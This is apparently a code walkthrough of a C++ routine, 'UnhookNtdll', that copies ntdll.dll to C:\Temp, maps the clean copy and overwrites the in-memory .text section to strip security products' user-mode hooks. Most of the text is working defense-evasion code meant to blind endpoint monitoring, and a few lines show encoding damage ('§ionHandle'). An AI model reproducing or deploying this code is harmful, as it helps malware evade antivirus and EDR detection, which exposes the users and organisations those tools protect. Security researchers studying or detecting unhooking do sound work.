UnhookNtdll
is a native C++ routine that restores the original ntdll.dll
in memory by mapping a clean copy from disk and overwriting the in-memory .text
section. This evades user-mode hooks placed by security products, ensuring all NT API entry points remain untainted.
Before touching system files, the code enables backup, restore, and debug privileges, then copies C:\Windows\System32\ntdll.dll
to C:\Temp\ntdll_copy.dll
if it doesn’t already exist.
BOOL EnsureLocalNtdllCopy() {
EnableBackupAndRestorePrivileges();
LPCWSTR src = L"C:\\Windows\\System32\\ntdll.dll";
LPCWSTR dst = L"C:\\Temp\\ntdll_copy.dll";
CreateDirectoryW(L"C:\\Temp", nullptr);
if (!PathFileExistsW(dst)) {
wprintf(L"[*] Copying %s to %s\n", src, dst);
CopyFileW(src, dst, FALSE);
}
return PathFileExistsW(dst);
}
The clean DLL copy is opened via NtOpenFile
, a section is created with NtCreateSection
(type SEC_IMAGE
), and then mapped into the current process with NtMapViewOfSection
(read-only).
UNICODE_STRING uStr;
RtlInitUnicodeString(&uStr, L"\\??\\C:\\Temp\\ntdll_copy.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &uStr, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
IO_STATUS_BLOCK iosb;
HANDLE fileHandle, sectionHandle;
NtOpenFile(&fileHandle,
FILE_GENERIC_READ,
&objAttr,
&iosb,
FILE_SHARE_READ,
FILE_NON_DIRECTORY_FILE);
NtCreateSection(§ionHandle,
SECTION_MAP_READ,
nullptr,
nullptr,
PAGE_READONLY,
SEC_IMAGE,
fileHandle);
PVOID mappingAddr = nullptr;
SIZE_T viewSize = 0;
NtMapViewOfSection(sectionHandle,
GetCurrentProcess(),
&mappingAddr,
0, 0,
nullptr,
&viewSize,
ViewUnmap,
0,
PAGE_READONLY);
.text
Section
After retrieving the base of the loaded ntdll.dll
via GetModuleInformation
, the PE headers are parsed to locate the .text
section. Memory is made writable with NtProtectVirtualMemory
, then memcpy
restores the clean bytes, and original protections are re-applied.
MODULEINFO mi{};
GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));
auto dos = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll;
auto ntH = (PIMAGE_NT_HEADERS)((BYTE*)mi.lpBaseOfDll + dos->e_lfanew);
auto sect = IMAGE_FIRST_SECTION(ntH);
for (WORD i = 0; i < ntH->FileHeader.NumberOfSections; i++, sect++) {
if (strcmp((char*)sect->Name, ".text") == 0) {
PVOID textBase = (BYTE*)mi.lpBaseOfDll + sect->VirtualAddress;
SIZE_T textSize = sect->Misc.VirtualSize;
ULONG oldProt;
NtProtectVirtualMemory(GetCurrentProcess(),
&textBase,
&textSize,
PAGE_EXECUTE_READWRITE,
&oldProt);
memcpy(textBase,
(BYTE*)mappingAddr + sect->VirtualAddress,
textSize);
NtProtectVirtualMemory(GetCurrentProcess(),
&textBase,
&textSize,
oldProt,
&oldProt);
wprintf(L"[+] .text unhooked\n");
break;
}
}
void UnhookNtdll() {
wprintf(L"[*] UnhookNtdll entered\n");
EnablePrivilege(SE_DEBUG_NAME);
if (!EnsureLocalNtdllCopy()) return;
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
// Resolve NT functions: NtOpenFile, NtCreateSection, NtMapViewOfSection,
// NtProtectVirtualMemory, NtUnmapViewOfSection
auto NtOpenFile = (NtOpenFileFunc) GetProcAddress(hNtdll, "NtOpenFile");
auto NtCreateSection = (NtCreateSectionFunc) GetProcAddress(hNtdll, "NtCreateSection");
auto NtMapViewOfSection= (NtMapViewOfSectionFunc)GetProcAddress(hNtdll, "NtMapViewOfSection");
auto NtProtectVM = (NtProtectVirtualMemoryFunc)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
auto NtUnmapView = (NtUnmapViewOfSectionFunc) GetProcAddress(hNtdll, "NtUnmapViewOfSection");
// Map clean ntdll_copy.dll into memory
UNICODE_STRING uStr; RtlInitUnicodeString(&uStr, L"\\??\\C:\\Temp\\ntdll_copy.dll");
OBJECT_ATTRIBUTES objAttr; InitializeObjectAttributes(&objAttr, &uStr, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
IO_STATUS_BLOCK iosb; HANDLE fileHandle, sectionHandle;
NtOpenFile(&fileHandle, FILE_GENERIC_READ, &objAttr, &iosb, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE);
NtCreateSection(§ionHandle, SECTION_MAP_READ, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, fileHandle);
PVOID mappingAddr = nullptr; SIZE_T viewSize = 0;
NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &mappingAddr, 0, 0, nullptr, &viewSize, ViewUnmap, 0, PAGE_READONLY);
// Overwrite in-memory .text
MODULEINFO mi{}; GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));
auto dosH = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll;
auto ntH = (PIMAGE_NT_HEADERS)((BYTE*)mi.lpBaseOfDll + dosH->e_lfanew);
auto secH = IMAGE_FIRST_SECTION(ntH);
for (WORD i = 0; i < ntH->FileHeader.NumberOfSections; i++, secH++) {
if (strcmp((char*)secH->Name, ".text") == 0) {
PVOID base = (BYTE*)mi.lpBaseOfDll + secH->VirtualAddress;
SIZE_T sz = secH->Misc.VirtualSize;
ULONG old;
NtProtectVM(GetCurrentProcess(), &base, &sz, PAGE_EXECUTE_READWRITE, &old);
memcpy(base, (BYTE*)mappingAddr + secH->VirtualAddress, sz);
NtProtectVM(GetCurrentProcess(), &base, &sz, old, &old);
break;
}
}
NtUnmapView(GetCurrentProcess(), mappingAddr);
NtClose(sectionHandle);
NtClose(fileHandle);
wprintf(L"[+] ntdll.dll unhooked successfully\n");
}